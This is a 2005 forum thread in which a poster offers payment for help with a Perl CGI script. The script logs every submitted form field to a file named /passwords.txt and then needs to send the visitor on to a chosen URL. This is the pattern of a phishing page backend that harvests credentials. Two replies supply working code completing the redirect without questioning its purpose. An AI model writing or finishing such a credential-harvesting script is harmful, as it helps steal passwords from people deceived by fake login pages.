Redirect to a url after the cgi has ran (willing to pay)

Lambera · #1 (**permalink**) 11-01-05, 10:04 PM

Ok so I am doing this project for the news Ive got everything working. What I need is at the end of this to have it be redirected to a url of my choice. What ever works. We will send paypal for a quick response that work.

Thanks!

PHP Code:


			
#!/usr/bin/perl

# chmod +x this file and stick it in your cgi-bin directory



#removed :)





print "Content-type: text/html\r\n\r\n";



read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});

@pairs = split(/&/, $buffer);

foreach $pair (@pairs) {

    ($name, $value) = split(/=/, $pair);

    $value =~ tr/+/ /;

    $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

    $FORM{$name} = $value;

}

$file = "/passwords.txt";

open (MAIL, ">>$file") or dienice("Can't access $file!\n");

print MAIL "\nurl = $ENV{'SERVER_NAME'}";

foreach $key (keys(%FORM)) {

    print MAIL ", $key = $FORM{$key}";

}

close(MAIL);



# return HTML message to user

print "<html><head><title>$page_title</title></head><body>";

print "<center>;

print "<img src=\"/$page_image\"><br><br>";

print "$page_message<br><br>\n";

print "</body></html>";

Chas · #2 (**permalink**) 11-02-05, 08:41 AM

Code:

#!/usr/bin/perl
use CGI qw//;

my $q = CGI->new;

# chmod +x this file and stick it in your cgi-bin directory

#removed :)

$file = "/passwords.txt";
open (MAIL, ">>$file") or dienice("Can't access $file!\n");
print MAIL "\nurl = $ENV{'SERVER_NAME'}";
foreach $key ($q->param) {
    print MAIL ", $key = " . $q->param($key);
}
close(MAIL);

# Redirect the user
print $q->redirect('http://www.yoursite.com/');

CGI.pm[1] will handle your redirect as well as your form processing.

~Charlie

[1] http://search.cpan.org/~lds/CGI.pm-3...RECTION_HEADER

ser · #3 (**permalink**) 11-02-05, 08:51 AM

Quote:

Originally Posted by Lambera

Ok so I am doing this project for the news Ive got everything working. What I need is at the end of this to have it be redirected to a url of my choice. What ever works. We will send paypal for a quick response that work.

Thanks!

PHP Code:


			
#!/usr/bin/perl

# chmod +x this file and stick it in your cgi-bin directory



#removed :)





print "Content-type: text/html\r\n";

# Modify time and URL in the next line

print "Refresh: 10;Url=http://whatever.com\r\n\r\n";



# Try to change \r\n to \n like below

#print "Content-type: text/html\n";

#print "Refresh: 10;Url=http://whatever.com\n\n";





read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});

@pairs = split(/&/, $buffer);

foreach $pair (@pairs) {

    ($name, $value) = split(/=/, $pair);

    $value =~ tr/+/ /;

    $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

    $FORM{$name} = $value;

}

$file = "/passwords.txt";

open (MAIL, ">>$file") or dienice("Can't access $file!\n");

print MAIL "\nurl = $ENV{'SERVER_NAME'}";

foreach $key (keys(%FORM)) {

    print MAIL ", $key = $FORM{$key}";

}

close(MAIL);



# return HTML message to user

print "<html><head><title>$page_title</title></head><body>";

# Other way to redirect with HTML tag in HEAD

# <HEAD><META HTTP-EQUIV="Refresh" Content="10;Url=http://whatever.com"></HEAD>

print "<center>;

print "<img src=\"/$page_image\"><br><br>";

print "$page_message<br><br>\n";

print "</body></html>";